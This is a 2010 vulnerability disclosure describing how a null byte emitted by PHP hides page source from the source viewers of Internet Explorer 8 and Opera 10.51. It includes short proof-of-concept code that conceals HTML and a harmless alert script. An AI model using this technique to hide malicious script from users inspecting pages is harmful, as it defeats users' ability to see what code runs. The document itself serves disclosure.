# Exploit Title: IE/Opera source code viewer Null Character Handling
Vulnerability
# Date: 10/04/2010
# Author: Daniel Correa
# Software Link:
http://www.microsoft.com/windows/internet-explorer/default.aspx
# Software Link: http://www.opera.com/download/
# Version: Tested on IE 8, Opera 10.51
# Tested on: Windows XP; Windows 7 + default IE 8
# CVE :
# Description :
The vulnerability in the source code viewer in both browsers (IE &
Opera) is when they are processing the null control character (0×00),
including this character in the transmission message results in a
misunderstanding that is reflected in the concealment of the transmitted
message, only the code that is between valid tags is shown. In other
words, exploiting this vulnerability we can completely hide the source
code to the user of Internet Explorer and Opera browsers.
# Code:
The next code hide all the source code to source code viewer.
<?php
echo "\x00";
?>
Esto es un mensaje oculto
This is a hide message
Este es otro
Thie is another one
...
Como vemos podemos esconder cualquier mensaje
As we can see we can hide any message
<html>
<head>
<title>Titulo</title>
</head>
<body>
<h1>Hola mundo</h1>
</body>
</html>
And the next,only hide part of the code (The script part)
<html>
<head>
<title>Titulo</title>
</head>
<body>
<h1>Hello world</h1>
</body>
</html>
<?php
echo chr(0);
?>
<script>alert('This code is never seen');</script>
Package contain three proofs of concept:
http://www.sinfocol.org/archivos/2010/04/ie_opera_null.zip
--
Sinfocol
http://www.sinfocol.org
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